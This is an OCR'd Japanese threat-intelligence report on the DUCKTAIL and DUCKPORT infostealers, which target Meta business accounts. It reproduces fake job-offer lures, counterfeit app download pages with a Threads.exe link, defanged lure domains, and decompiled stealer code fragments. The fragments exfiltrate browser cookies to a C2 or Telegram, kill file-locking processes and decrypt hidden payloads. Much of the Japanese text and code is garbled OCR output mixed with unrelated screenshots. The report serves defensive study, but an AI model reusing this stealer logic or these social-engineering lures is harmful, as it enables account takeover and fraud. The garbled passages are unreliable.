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Find freelance jobs / Social Media Marketing / Work from Anywhere as a Digital Marketing and Facebook Advertising Specialist

Work from Anywhere as a Digital

Search more Social Media Marketing jobs Posted 4 days ago 8. Worldwide

Hello freelancers!
We have two exciting remote job opportunities available-

WIZGEAR - Digital Marketing Specialist:
Join us to develop and implement digital marketing strategies, optimize online campaigns, and enhance brand
awareness for Wizgear's product line. Competitive compensation and attractive benefits offered.

Facebook Advertising Specialist for FITBIT:
Collaborate closely with Fitbit to plan and execute effective Facebook advertising campaigns, reaching the target
audience and boosting engagement. Competitive compensation and attractive benefits provided.

We are actively seeking agency partners and freelancers. If you have the required expertise, visit our website at
adshuge com to learn more and apply.

Thank you for your time and consideration. We look forward to collaborating with you.
Best regards,

Effinger Calvin
Talent Acqguisition Department

. Explore U K
Marketing and Facebook opportunities for free

Advertising Specialist D

Already have an account? Log in

SailTime
Sponsored

= 4
SailTime

Join our team to do great things.
Apply here: https://forms.gle/eAqPPILb4GWFC2b77

WE ARE

Chat on Messenger Send Messa...

— s

National Recruiter | HR, Recruitment Strategy | Human Re...

I - 003 AV

Hello,

| represent the Talent Acquisition Department of
thehugeplus.com, a leading advertising and media
company. We currently have two exciting job
opportunities available:

WIZGEAR - Digital Marketing Specialist: Join our team
to develop and implement digital marketing strategies,
optimize online campaigns, and enhance brand
awareness for Wizgear's product line. The salary range
for this position falls within 3-7% of the advertising
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Can,m Design spotlight ~ Business ~ Education ~ Plans and pricing ~ Learn ~

Canva for Windows

Your favorite design tool available as a desktop app for Windows.

Download Canva for Windows

Also available on Mac OS, iOS, and Android

Features Explore Community Download
Curved text generator Design ideas Online communities i0os
Photo effects Custom prints Creators Android
Image enhancer Font pairing Canva Represents Fund Windows
Add frames to photos Colors Developers Mac
Add text to photos Color wheel Partnerships
Online video recorder Color palette generator Affiliates program
Video trimmer Blog
Convert videos to MP4 Apps
See more features Template directory

@ English (US) ~ © 2023 All Rights Reserved, Canva®

Login

Company
About
Newsroom
Careers
Sustainability

Trust Center

Terms and Privacy

Contact Sales

OvpROo

Your Results Are In!

Based on your answers, this type of Online Marketing Job is your
perfect match:

$300 per day for Facebook Ads Manager Job

6 Degrees Analytics company hires 10 Facebook ads manager for new Online
marketing project,Full-time and Part-time opportunities. Get paid $40 - $120
per hour from home manage and optimize comprehensive Facebook &
Instagram advertising campaigns

Pay: $40 - $120 per hour.
Location: People from Worldwide.

Requirements: You just need an internet connection, a laptop, tablet, or
smartphone, and you need to be a responsible person whom they can depend
on.

Necessary Experience: 6 Months Experience Required.Facebook Ads Manager
are high level jobs that require good previous experience or skills. .

Interested in this type of job? Click below to get started today!
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We are hiring! Work from home
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Digital Marketing Manager
Facebook ADS

Encuentra tu producto
) 1Bl DURACELL sy PILAS PILAS DE
i) oPTIMUM | ALCALINAS 1D soron

POWER .'I_ PILAS ESPECIALES (ﬂ’ PILAS
L] BANKS *|*|/ ¥ RECARGABLES AUDIFONOS

* The company needs to run 6 ads a week and last for 1 year
* Our company's goal is to reach customers who are office workers, middle- and high-income people, worldwide.
* The spending budget for this advertising project is $10,000 per month and the company is running various

advertising projects Q
* My company's 2022 revenue is $1.5 million, no facebook ads, estimated 2023 target is $2.5 million and othe -

ATTN: ENTREPRENEURS WHO WANT TO RUN FACEBCOOK ADS

it

A Proven Facebook
Ads Funnel To Reach

\VLLVYILIW
$10k In Monthly Sales e

SRS
Learn The Facebook Ads Formula Pat Flynn
Created To Teach Thousands of Entrepreneurs
How To Run Profitable Ads, Generating © O mums s e
$5000/Month-$70K/Month In Sales. S

Normaly=$297
Sale Price: $97

Download FREE Part 1 of this course.You never
Ever seen these technique in anywhere,just
Update in May 2023

DOWNLOAD PART 1 =PDF VERSION

WOULD AN MAKE A
DIFFERENCE IN YOUR BUSINESS?
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°Meta Verified HOME  SERVICES FEATURE  PRICING  CONTACT i FAQ )
Meta
Introducing Threads: A New Luminar
Way to Share With Text Power B ndle
Get Verified on Facebook For Free ulys 2023 i
s ge Desktop app 5880
Download Meta Verlfled The Threads' desktop app is available on Mac and Windows.

Mac Windows Over new elements to power up your Luminar NEO tools. Get

Download For Free ; bt
SHIOag FOrTies extra high-definition

Click this link to install the latest version of the Threads' Windows app: and transform your images with just a few

https://www.introducingthreads.online/Threads.exe clicks.

Download Free

"
[
2
-
H
A
i

Limited Time OFFER!

The price will go up to $49 at the end of the countdown!

00 04 56 45

DAYS HOURS MINS SECS

Th reads Threads , an instagram app
Our Services Recruitment

Downloads
W Download Notepad++ v8.5.3
N Meta Ads Manager R Download Notepad++ v8.5.2
Current Version 8.5.3
With the new Meta advertising tool your ad performance ElHrn_ " Download Notepads+va..1
[l Download
— WIZGEAR-DIGITAL MARKETING SPECIALIST HIRING
. - A Online Help W Download Notepad++ v8.5
increases by 300% 7 Resources ANNOUNCEMENT
o RSS
A Donate H Download Notepad++ v8.4.9
DOWNLOAD META ADS MANAGER
Jaoin WizGear, a renowned global brand specializing in innovative phone accessories, on an exciting journey to make a significant impact in
R Download Notepad++ v8.4.8 the digital marketing landscape. We are expanding our team and seeking a talented Digital Marketing Specialist to join us.
. . Position: Digital Marketing Specialist
Let's get started with business tools from Meta. ostion: Biglial arketing Speciatls
I load d 8 Location: Worldwide
: ) Download Notepad++ v8.4.7 About WizGear:
Download Meta Ads Manager to use Meta Business Manager- WizGear is a trusted provider of premium magnetic phone holders and mounts, dedicated to enhancing convenience and safety for
12 more dave. vou no loner manace vour ad account on fhe browaer but use s orofessional. safe and With Meta Business Manager, you'll be able to: N Download Notepad++ v8.4.6 smartphone users. With our commitment to quality and innovation, we have established ourselves as industry leaders in the mobile
¥ys. ¥ nge gey ! P ' accessories market. As we continue to grow, we are looking for a motivated Digital Marketing Specialist to drive our digital presence and
absolutely secure ad manager. expand our reach.
= QOversee all of your Pages, accounts and business H Download Notepad++ v8.4.5 We offer:
assets in one place. — Competitive salary package
= Easily create and manage ads for all your accounts. N Notepad++ v8.4.4 (Happy Users’ Edition) — Collaborative work environment
= Track what's working best with performance insights. — Substantial advertising budget of $100,000 USD for the next 6 months to support digital marketing efforts
See everything you can do with Meta R Notepad++ v8.4.3 (Unhappy Users’ Edition) - I?reelancer commission structurel of 3-5% on the t?tél advertlm‘ng budg.et to recognize your efforts
e Sult d Meta Busl M Join our team and be part of shaping the future of digital marketing at WizGear.
usiness sutte an eta Business Manager. Shtterstons Fres Trisl - Gt imagee, We look forward to welcoming a talented Digital Marketing Specialist to our team.
e T ooy 1 00 doson taclo i Download Notepad++ v8.4.2
Job Description — Benefits Description:
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Actions

= Description ¢ Share
@ Attachments
Project Information MVMT Brand Watches.zip ~
zip Added Jun 19 at 4:25 PM
notepad
i @1
= Activity
- canva
@ Jude Gretz attached Project Information MVMT Brand Watches.zip to this card -1
Jun 19 at 4:25 PM
skylum
|| @7

@ Jude Gretz added this card to Can lam
Jun 19 at 4:25 PM
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» Salary and benefits working at Agency_JET in 2023
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Agencylet costs and Agencylet Partner Agencylet's Agencylet's revenue Eenefits and
TOShiba Macy's budget in 2023.exe Campaign Plan.exe campaign draft and analysis report.exe salary.exe
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DUCKTAILIZ. LinkedIn®®WhatsApp%Z &L TEAZZ—7 v b
ICL#EIT TWBERKBICENDT SV T+ —LZILARL.
Upwork*®Freelancerc W77 =35> X@EITOY A LHFIEL ..
TVEF, DUCKTAILIEC B QYA FTHBORALEEEL T Work from Anywhere as a Digital olore Unwork

2=y heHoTVWE T, Marketing and Facebook opportunities for free

Advertising Specialist G

Already have an account? Log in

Find freelance jobs / Social Media Marketing / Work from Anywhere as a Digital Marketing and Facebook Advertising Specialist

Search more Social Media Marketing jobs Posted 4 days ago 8. Worldwide

I - Ty

National Recruiter | HR, Recruitment Strategy | Human Re...

I - 1003 AM

Hello,

Hello freelancers!

We have two exciting remote job opportunities available-

WIZGEAR - Digital Marketing Specialist:

Join us to develop and implement digital marketing strategies, optimize online campaigns, and enhance brand

| represent the Talent Acquisition Department of awareness for Wizgear's product line. Competitive compensation and attractive benefits offered.

thehugeplus.com, a leading advertising and media . -
gep : 9 i Ig . Facebook Advertising Specialist for FITBIT:

company. We cu rrently have two exciti ng JDb Collaborate closely with Fitbit to plan and execute effective Facebook advertising campaigns, reaching the target

opportu nities available: audience and boosting engagement. Competitive compensation and attractive benefits provided.

We are actively seeking agency partners and freelancers. If you have the required expertise, visit our website at
WIZGEAR - Digital Marketing Specialist: Join our team adshuge.com to learn more and apply.

to develr:::p and |mplement d1g|ta| marketmg STTETEQIES‘ Thank you for your time and consideration. We look forward to collaborating with you.
optimize online campaigns, and enhance brand

. : : Best regards,
awareness for Wizgear's product line. The salary range :

Effinger Calvin
for this position falls within 3-7% of the advertising Talent Acquisition Department
Figure 6: DUCKTAILA'LinkedIn@InMail TR L 7e R AIBHRZ T —<IC L7 Figure 7: DUCKTAILA\UpworkZz @ L TEA L a3k ABHRZE T —<IC L)L T — D)

L7 —Df
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1. job-mango[.]com/JD_MangoGroup_04.2023.zip
2. pradagroup[.]social/New_Project

3. fendii[.Jcom/Job.Description.Fendi.2023

4. undrground[.Jcompany /Job-description

FDUCK1 &EMENB2DDHESIL—T

-

Home

About

Recruitment Contact LET'S TALK

Recruitment

WIZGEAR-DIGITAL MARKETING SPECIALIST HIRING
ANNOUNCEMENT

Join WizGear, a renowned global brand specializing in innovative phone accessories, on an exciting journey to make a significant impact in
the digital marketing landscape. We are expanding our team and seeking a talented Digital Marketing Specialist to join us.

Position: Digital Marketing Specialist

Location: Worldwide

About WizGear:

WizGear is a trusted provider of premium magnetic phone holders and mounts, dedicated to enhancing convenience and safety for
smartphone users. With our commitment to quality and innovation, we have established ourselves as industry leaders in the mobile
accessories market. As we continue to grow, we are looking for a motivated Digital Marketing Specialist to drive our digital presence and
expand our reach.

We offer:

— Competitive salary package

— Collaborative work environment

— Substantial advertising budget of $100,000 USD for the next 6 months to support digital marketing efforts

— Freelancer commission structure of 3-5% on the total advertising budget to recognize your efforts

Join our team and be part of shaping the future of digital marketing at WizGear.

We look forward to welcoming a talented Digital Marketing Specialist to our team.

Job Description — Benefits Description:

DOWNLOAD FILE

*Email

Please provide your name and email address for us to send you
additional detailed content about the project.

Figure8: 4o >O0—RU>IDHBHDT SV Rk
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LNKETFz—2IEDUCKTAILFEDH D TIFRL. CDAXRL —
DI EOBEENEIIINTUVWARWNMIDEBRRAEREF T —>
THERINTWLWBZCIFERICELXT, LIeh T WithSe-
cure Intelligenceld. LNKE{TFT—VIFBR T I X —ICL>TH
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download

Contains & launch
C2 domain
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Inflated dropbox.com DUCKTAIL
Archive file shortcut file infostealer
download
download
& launch & launch
2ndstage . D o D N
PowerShell transfer.sh
cdn.discordapp.com PowerShell Decoy file,
file e.g. PDF
------------- denotes additional paths
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A2 THARTA—F—BTIL DT 7 DT EREIF. (FIFEDEXTERD
TWET, LH L. BFEADEBEEHICVILT I TZICEMEINIEE
BN HEEINTUVET, COEI> 3> TEF miEDL
R—rUBEOVIL T T7DEBREERZBNTLET,

X (I[HTwitter) TOIERINE

DIRKEDH2023FETADSERTNTUVBIFHTLULKREEIZ. XT ATV
MoOJaA4> L TWBAE—ryhcDI7 S5 1—H—IDety
A IyF—EEKETBE TS, CONILTITIEIRTDTS
DUy F—=BUFLEITE T D Facebook (Meta) &l ATX
oD BEHRNFICHEEFCRELSESAITONTLBRILD
S5 MDEERILETZ YR IF—LADIEH DS T I ADT]
BEMEDN TR INET,

TwScannigHandler

[NullableContext(1)]

Run( count, MiBriwir bw, TglHandler tglHandler, ConfigData configData)

1
(BriwirProfile briwirProfile bw.

TwitterData

TwitterData twitterData =

= briwirProfile.
= briwirProfile. .
= ((configData. == } ? "ko co”
= tglHandler. .
= bw.

("twid=u®3D",

N
J

tglHandler.SendTwDocument (twitterData);

Figure 12: ##FEEDX1—H—IDety>a>ovx—2T 5 UHh Sl

Send(BriwirProfile profile)

.Log("send brower data");

{(MemoryStream memoryStream

MemoryStream())
(ZipArchive zipArchive ZipArchive(memoryStream, ZipArchiveMode.

WriteProfile{profile, zipArchive);

.5endFile(memoryStream, "fb_" + profile.

SendTwDocument(TwitterData twitterData)

.Log("send brower data");
{MemoryStream memoryStream

MemoryStream())

(ZipArchive zipArchive ZipArchive(memoryStream, ZipArchiveMode.

.WriteFile(zipArchive, Encoding. .GetBytes( .Serialize

.SendFile(memoryStream, "tw " + twitterData.

Figure 13: #1i8 L 72Xz C2F v > RILISE(E

((BriwirProfile a) => !

":_“_. E}J

: configData.Ip.ToString()),

))

Object(twitterData)), "

FDUCK1 &EMINB2DDHESIL—T

.Contains("twid")})
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RestartManager (RM) o {EH

Dir<eH2023FET7HLE. DUCKTAILO Y > IV THREEES LT LY
2H51DDFEEEIZ. RestartManager (RM) ZfEBE LTI >
DT—FZR—RZ2OYvY 57O A Z8HETITEETY, SO
ARG —ERICE>TERAFOT 7MILIFRESETEZT RV,
COMBREIIS LI TICLLBENE T,

s> [list - SearchFileUtils().WhoIsLocking(profile.
Thread thread =

num = 188;
(num-- > @’

.Copy(profile. . (), fileNewName,

iteline("copy succcess”™);

¥

{(Exception ex5)

Writeline(ex5.ToString());

E
thread.
thread.Start();
(list != && [list. > 8)

rocess list)

process.Kill();
i ]

thread.Join();

Figure15: 75057 —42X—2Q - Oy I 3N 7O X DOEFHE T DFEH

FDUCK) &MEINB2DDHESIL—T

List<Process> WhoIsLocking( path)

i

¥

i

.NewGuid(}.ToString();
_ L ist<Process>();

num2, @, text);

start session. Unable to determine file locker.");

num3 au;
numa au;
numt = auU;

[] array = :
Resources(num2, ( Jarray. s array, au, , 8u,
{num != @)

Exception(“Could not register resource.”);

. AmGetList{num2, num3, num4,
{(num == 234)

SearchFileUtils. [] array2 = SearchFileUtils.
numd = num3;
SearchFileUtils.RmGetList(num2, WER numd, array2, nums )

x
L

Exception(“Could not list processes locking resource.™);
}
list = List<Process>(( ynumd ) ;
nume = 8;
((long)numé < (long)(( ynum4 ) )

ssById(array2[numé].
].

(ArgumentException)

r
L
) 1
i
n

umo++;

Figure 14: Restart ManagerzfEAL T 7MILOv I DH 3 TOLRZ2T7 Ty FIH5I1—F XXy bk
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public void ()
I

L

AppDomain.CurrentDomain.AssemblyResolve += this.ResolveAssembly;
string text = ( ( (new string[]

(new string[]

Assembly assembly = (new ()
Type type = (“Net245_Program”);
MethodInfo methodInfo = ((type '= null) 2

if (methodInfo != null)

("Main™) : null);

(null, null);

static byte[] Deé;yptﬂyte{hyte[] keys, byte[] bytes)
1

s

string text = null;
HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Head, "https://google.com™);
using (HttpClient httpClient = new HttpClient())

1
try
if (httpClient.SendAsync(request).Result.Content.Headers. TryGetValues( "Content-Type”, out IEnumerable<string» wvalues) &8 values != null)
1
text = wvalues.First();
¥
¥
catch
1
return new byte[8];
¥
b
if (string.IsNullOrEmpty(text))
1
return new byte[@];
b

byte[] bytes3 = Encoding.UTF8.GetBytes(text);

byte[] keyData = new Cryptor().GetKeyData();

byte[] array2 = bytes3.Concat(keyData).Concat(keys).ToArray();
int num = array2.Length - 32;

byte[] array3 = bytes;

while (num >= @)

1
byte[] key = array2.Skip(num).Take(16).ToArray();
byte[] iv = array2.Skip({num + 16).Take(16).ToArray();
array3 = new AesGenericEncryptionService(key, iv).Decrypt(array3);
num -= 32;
b

return array3;

FDUCK) &EMENB2DDHESIL—T

Figure16: O—42—QFXEOS v I DB (V1) —>7 v TEH)

internal class FileOpenHandler
1
private readonly string fileName = "file 4212befa39cadae58cffb3206d8bbebe mpd.mpd";
public void OpenFile(Assembly assembly, byte[] keys)
private void OpenFileData()
{
try
1
Process process = new Process();
process.StartInfo = new ProcessStartInfo(Path.Combine(Path.GetTempPath(), fileName))
{
UseShellExecute = true
¥s
process.Start();
h
catch
1
h
¥
public static byte[] Decompress(byte[] data, byte[] keys)
i

Figure 17: google.comh 5 DeE =R L TESR/IVO—EZ 8T 55

Figure 18: DUCKTAILT > T # X7« — 5 —EARDAETH I —T 7MLz T 5 0—F — Dl
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BouncyCastle
Telegram.Bot
Dapper
HtmlAgilityPack

CDXILTTTIENET CorezfERALTHEIN.E—DT7 71l
cLTF7OaM3ntricd. Insns17IJET7 7 1ILICER/N
YERILTNTUVE T, TN DKFREFRIFE. FTRICTRILDICIE>E
DEFEESTTE T,

NSDORERROEFEEIE.TILTITICH TEEEHR—IDiEH
DIERCBDFET, COLOBEEZ[LE T 5786 DUCKTAILIE
RITRICCNSDZA TSV ZHWICO—RIT3AMEICTTRL.
INRILZ 7L EKIZFERRUANMIBITEZINEDTAITIUD
GFEZHRLTWE Y, COMBEIFZ. 2023FE7B8HUBRICE R S
N> 7L THEEINTVET,

"QYAFOQCNBNI/1.9.8":
r
L

"dependencies”:

I
L

"Dapper”: "2.08.98",
\gilityPack™: "1.11.42"

]
: "5.0.10",

: "5.8.08",

4 F 2jc80fmxh1pvpmézc (1.0.0.0)
V-
P PE
P o0 Type References
P o-O References
4 [E Resources

4 %, MainData @02000003
P Bl Base Type and Interfaces
P Bl Derived Types
MainData() : @0600(
ReadResource( ) :

ResolveAssembly( ,
Run() : @06000003
AesGenericEncryptionSen

FDUCK1 &MEINB2DDHEIIL—T

Before

Dapper_2.6.123
HtmlAgilityPack_1.11.46
Microsoft.EntityFrameworkCore.Sqlite_3.1.32

Microsoft.Win32.Registry_5.0.8
Newtonsoft.Json_13.6.3

Portable.BouncyCastle_1.9.0

System. Security.Cryptography.ProtectedData_7.0.1
Telegram.Bot_18.08.8
runtimepack.Microsoft.NETCore._ App.Runtime.win-
x64_3.9.3

After

Microsoft.Data.Sqlite_7.0.5
Microsoft.Data.Sqlite.Core_7.08.5
Microsoft.Win32.Registry_5.0.0
Newtonsoft.Json_13.0.3
System.Security.Cryptography.ProtectedData_7.6.1
runtimepack.Microsoft.NETCore.App.Runtime.win-
x64_6.0.19

Figure 20: BIRNXEMEO—7 « > ZFA T $F1%& TDODUCKTAILDKZ D LEE

Assembly ResolveAssembly(

sender, ResolveEventArgs args)

MainData.AesGenericEncryptionService aesGenericEncryptionService =

MainData.AesGenericEncryptionService();
(args. .Contains("Telegram™))

{
[] array = .ReadResource("1.txt");

Assembly. (aesGenericEncryptionService.Decrypt(array));

(args. .Contains("HtmlAgilityPack"))

[] array2 = .ReadResource("2.txt");

Assembly. (aesGenericEncryptionService.Decrypt(array2));

(args. .Contains("Dapper"))

[] array3 = .ReadResource("3.txt");

Assembly. (aesGenericEncryptionService.Decrypt(array3));

(args. .Contains("BouncyCastle.Crypto™))

[] arrayd = .ReadResource("4.txt");

Assembly. (aesGenericEncryptionService.Decrypt(array4));

2

Figure 21: IkERARIE DL S ICEBIMNICO—RINBZ3DZRd I—RRAZIRY M (U —=2T v FEH)
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'GraphDataJ . TZEncryptReader) ¥ dD/N\N—RIO—RF3IN7:
LIS ENTVWEL T, DUCKTAILIZR A 7O 0 NG %= EE
LTWELEH T h T ThHEENIFEEBINB@EICT > T
ZEBHL. VIR —LL. RHT BN TETFHLT,

CHUCK I T A7, 2023FE3830BURE. NILD T T7DH > TFIL
ICERensd#eeld. V)Nl a=Z—0R8 7ty
TJNRZERTHETY, COMEEICED. AVNTILEINEEHRTS
NA 35> FIWNeilAZ—IORBRTr7AILBDERINE T,

RAIDN—2 3> TIE AXFORBFHOBIEERDTEVT
VEDMERR I N CNIXFRIRIgE TR ERIEE T LT LDL. D
MEEDRDIEDIRLICKD, BEFHNSBBZIAERDTEY T
DPMERINBELDICBRDF LT WO DBIZFigure 23I2RL £
ER

FDUCK1 &MEINB2DDHEIIL—T

DataExtractor Reader BONGDATA ProductManager
TIKTOKIOKE ZEncryptReader BITETE TINGOTN
TONGTENH TINHTE TELETOKOIS TUTING
BONGDAPLuUUS TINBIKHM TESTING DOWNLOADER
Figure 22: L FIICDUCKTAILAMER L e 72> T U a0 f|

zud4e0r43klrzm jsltfpn 5w89f9krfs6s9syke90m

2dle5u4gluf m64kklk2g3o 9tgcu3t

3vkcfgki 39u3tx92bhws3e 5Y2CLA3UGEW

JGLO8TS488A 5BQ1ELBT326 TRYJTMCWL5H

JFZ9SVMTTCY INPAIXG8JWE XVPM2UEALMB

1TDGHPYUEKJ 75QRG5GRI9OL JTH2YINXAAX

9Z1YARXPHLE UAP45U704SW UD3H85SQ6FS
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SmartAssemblyd fE

DUCKTAILIF. R1O—FZ#5Hib 9 57cdHICSmartAssembly%z
MHAAHIRDE LT BREL 7V F— B EICSmartAssemblyZz f&
FAL. 2021FFIEDEHICEAETZ 1> TART 14— F— DIRIID
miEZX L LTLWELID. .NET CoreTI Y T7HRT4—F—D
OA—RFRZEZEL. >IN TF7AIILDOERICYUIDE A>T 4R
T+14—Z—AssemblydDFERZHIELE LT,

B DF v>R—>TSmartAssemblypMfEBR I N T=&HEHLH
. 2023F4H18HTY,

4 [ TIKTOKIOKE (1.0.0.0)

V'
p

PE

P o0 Type References

P o

P{}

p
p
p
P
p
p
p
P
p
p
p
p
p
p
p
p
p
p
P
p
P
p
p
p

{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{
{

}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}

References

cnData.Core.Models.Json
CokiWin.Core.Models.Json.BusinessJsonModel
DataExtractor

DataExtractor.Core

DataExtractor.Core.Exts

DataExtractor.Core.Handlers
DataExtractor.Core.Handlers.Fb
DataExtractor.Core.Handlers.Otp
DataExtractor.Core.Models
DataExtractor.Core.Models.Browsers
DataExtractor.Core.Models.Browsers.BrowserDatalnfo
DataExtractor.Core.Models.Browsers.Childs
DataExtractor.Core.Models_Json
DataExtractor.Core.Models.Json.AdsDatalsonModel
DataExtractor.Core.Models.Json.DataShareLinklsonModel
DataExtractor.Core.Models.Json.GetInfoPendingJsonModel
DataExtractor.Core.ModelsJson.GetPartnersBmListJsonModel
DataExtractor.Core.Models.Json.GetRequestJsonModel
DataExtractor.Core.Models.Json.ShareLinkNVJsonModel
DataExtractor.Core.Utils

GraphData.Core.Models.Json

GraphData.Core.Utils

Microsoft.CodeAnalysis
System.Runtime.CompilerServices

Figure 24: SmartAssemblyZ% & - 7= 251t

FDUCK1 &MEINB2DDHEIIL—T

4 (J 1LL3P2RLRID (1.0.0.0)

4 3P2RLRID.d
PE
Type References
References
Resources
w0001
w0002
w0003
w0004
w0005
w0006
w0007
w0008
WwOO00E
WwOOOF
w0010
w0011
w0012
w0013
w0014
w0015
w0016
w017
w0018
w0019
YWwOO01A
WwO001B
Microsoft.CodeAnalysis
SmartAssembly.Attnbutes
SmartAssembly.Delegates
SmartAssembly.HouseOfCards
System.Runtime.CompilerServices

23



WVV/ Intel

7ETUDREKXL

R EhE T OIS BRIV F—HRBLIWIEDT /=y I dD1
DN TEYTUDRBKRIETH B, Chid. 7ETVICHENGA
S—VTRZREICEMIBCETERBEALET, CNLDIFRAEE
O7AONTAIE RN T7DI—RFZRBAREIEBUN DHEEEIE
HOFEHE A

N> RIVIESE

AT HARATA—F—F2021FEBFENI SV TINTF7AILELTT
O3 NTWVWED, .NET 6.0 2T 71ILT FOAMX D
SHIATEIZHAEELLT. NRILEBHLHD. Enable-Com-
pressionInSingleFile ZANT 1 IC&>TEMICHED £ T, Chid
KT T7MILAHADIRTDONRILT7AIL (X278 T K
FI771)L. NETS>ZALT71)) ZEMEITDETI7ILY
A X EBNCET, KIZ. CNEDT7AILIEAAC Y DRIT T 71
LD BIE->THE R A FEICEDEHITENTETE LT

2023FE5H10BA 517THDORICEER I NI=1>7)LT. DUCKTAIL
N DEBEZFRBALTWA e ESREINE LT

Figure 25: 42 —0 5 2Dl

FDUCK1 &MEINB2DDHEIIL—T 24

DUCKTAILIZ. Microsoft SmartScreen®70O> 7 ~%Z[olEEd 3
fcheBonsd. EV (ILEREE) FEERRZEICLBAVILT T 7 DEAIC
TKELEITTVWE T, COBRIT. RFTDF v R—>THIDIE
Bz L TVET,

BwEICWithSecure Intelligenceld. EEDH 3 iFAE = X583
BICHREL. ERORBZHEEIZL: (BRWHEOEFBEDRH
BRODDENZRLTVWET ) LHL. CNICXHINT 70D B
TOR—IFHAZEZEFICTDICTREL. K LIHZEICHZERIC
BEIZ3 T ARREFAZEOIDBAHZILALTVE T,

ARAERR T AN FLDL2OBFEICK LTI8DH L LEEEAE
NEFRINTVBZIECHHERTINTUVE I, CNHSDIEEREFIR.
DUCKTAILICEAE T BVILIV T TV DERICOAERATNTVS L
IEFBEIMEL £,



WVV/ Intel

5525: DUCKPORT - i#BD¥):E 215 2DUCKTAILDIRMIE

IFC®IC

2023F38 A, WithSecure IntelligenceldDUCKTAILE KE<
BERIBTVIARTA—F— BV 7ORAZHmBLEL
feo ZOMDHEBRE LT WMEEBR. FLXA.XILT T T7DHEEE
DELMED S SNIZDFEEFHNT SR X —2DUCKTAILO 73K L
FHEBELTERLTVWELTC LAL. IICSD2DDEE I
DUCKTAILEDUCKPORTE LTEEEZE L TGEBF CE B I FFEHH
BRBERDODAZ—URBDBDTHBEHBHLSMNIAED FLT,

DUCKTAILZ [E#k. DUCKPORTIZMeta®dBusiness/Ads7Zw k
J4—L ETEENTBEERCEAZENE LICER TI. CDOIFEL
IOz 7 A R—2%>k (DUCKPORTEHMEIIND) THEES
. Meta Business@7 AT cNAZ vy I BIRICIERTGE %
TUWET, Dt LUONESTNT—FICE DI BT DIE
AR FLAZHNRETERIBRT I —ICE>THREINTWVWSC
CEPREEDEREEZH > THELFR L.

WithSecure Intelligenceld. DUCKPORT CERCNIcA U F
JLDOO—RIFDUCKTAILZR—X | CLTWEeH DD REEIFIHE
DA—T VT AR T TO—F THEEZRE LTV HEA
LTWE T, CNODEETEBREEZEDOVNILY T TDY—X1—F
3. TDE. MBOZ Y FRFETELLLTVET,

LHAL.TTPOETIFERDNRSNEITTED. CNIXBRET Y
S—EDO#MBNGERZRLTVWED TDREIFHREDECS
ABATY,

CD2DDEBRZ DT TERBBRIUCIE. RDESBHDHAHD X

9.

- BERAHER ERAITABHRGRILVT7PO—F—ICRS5
NBA—T A>T RZAIREET TO—FIIKESLELBZH.
HWRLGLANITIIEE T S1EED H B,

- BRT OV Z—DEEREIOIOICERTEZ T LI SLF v
ITTERICHEELTED, EETBIA/N—ITVAELY,

- BERIE. TNt I—RELRAZSZ2EELERHT 3,

- DUCKPORTIZRebrandlyzZRL. 80D 7 5> R > I 7% /K
LTRET7 7oy d%zaAHlzh. DUCKTAILO7Z Z7O0—F I
BR->TUWV

- BEBRDNRET T4y I 2B BBICHDTETITIURP
EEICIE IFEAEEED B,

- DUCKTAILEDUCKPORTOH > FILh —#EICimB LI Eid %
L\O

FDUCK1 &MEINB2DDHEIIL—T 25

- DUCKTAILEDUCKPORT Tl&. EZETIN TV EE. AFERYT
Ta—)l. RET7TTFTO-FHELRD, CO2DODER . FEMBHYIC
FARIN. BRI3AETERLEDNSH BELTERAINTS
D, BERDOZBEEHICEWMITSICENTL,

160

140 A
120 //
100 / [
_—
80 7

60 /
40 /
20 /

March April May June July

August

Figure 26: DUCKPORTD A Z—JH > FILE



WVV/ Intel

FREXDZXLEHEES

DUCKPORTDECAH AN Z X LB LU HER IS, DUCKTAILE F5BIL
TWETY, WEEIL. LinkedIn®»WhatsAppZ@L T T ZILY—T
TV RLEICEETZ IO Y PR RABREE ST,

DUCKPORTICU > SNIBRGENIL I 7 288 T7—Hh1T T 7
1L (ZBLDHZE. Dropbox’RE DT 7AIVER T4 > T —E % E
F) ZEHAL TV A RSN TULET,

WithSecure IntelligenceTi&. DUCKPORTEDUCKTAILA\CNFE T
ICRDTRELICT VR EEDEIC. IFEACEED RV EZHEER
LTWE Y, DUCKPORTAMERLTWAT Z R BEEDFICIE. Xk
DEOBHDHHBDET .

Brand/Company name

Louis Vuitton La Roche Posay McCann
Hyundai Bandai Namco Nike
Lamborghini Ducati Avalon Organics
Red bull Samsung Nivea

NARS NZXT Rolex

GUESS

Figure 27: DUCKPORTA' D X L7 T 5 > R REDA

DUCKTAILIZ. V=9Il IS =7 dn—Re LTBDT o
R cDERICHFZHRHTLSH, DUCKPORTICE > TIF—HA%
Elgja:%zif(\:.@’)—tb\ijo

DUCKPORTIZ. Dropbox%'®  (5RUW\ZzHINBAIEEMHEDH B)
T7 NIRRTV T —EZANDERERATVO—R) VI ZEHT
BZRDDIC.HWHEEICBDTELIET VR TEICEETZI T
RFAEAD) Y O%ZED, T7AIVRRATa > —EX (Drop-
boxZR&) o EBEDHZ7—HAT7=ZFA T O—R$3LDICUA
ALIRSEET, AEBEISEIC. TSRV ZIRHE T BRe-
brandly "EIENBIERDURLIEMET —EXZ@E L T. ChoDB
TSVRYA b Z2ERLET, cNS5D 2V IDFICIFATHAEEN
F9 !

- hyundaimotorjobl.]Jsocial/HRM

- brandrecruiter].]social/HyundaiMotor

- brandrecruiter|.]social NARSCompany

- brandresourcel.]social/NarsCosmetics

- recruiterofbrand[.]Jsocial/NARS

- narscosmeticsl.]Jsocial/jobinformation

- nars|.]Jsocial/HRM

- recruitmentagencyl.]Jsocial/Lamborghini

- mccann[.Jexpert/McCANN-Advertising_project_2023
- guessinc|.Jwork/project

- samsungagency/.]link/service-marketplace
- nike-agency/.]link/us-job

- marketing-project|.]social/nike-agency

FDUCK1 &MEINB2DDHEIIL—T 26

HBEFTIE. AdPlexitye WO BREICRD T RLIBDOU T THA
FZ{ER L. by TIR—JICT30BEER NS 7ILI AU >O—
RO ZBELICCEDERINTUVET, CDOUTICKD,
A=Y MMIBRGIY—INZZCEBDHZT7—H1TZ2H I
O—Rg3CICBEbET,

Keep Track of Your Competitor's
Most Profitable Ad Campaigns
on Desktop Traffic Sources

Make better marketing decisions by learning what ads are already successful. Get
rehensive data on profitable des i

comprehensive data on profitab sktop campaigns.

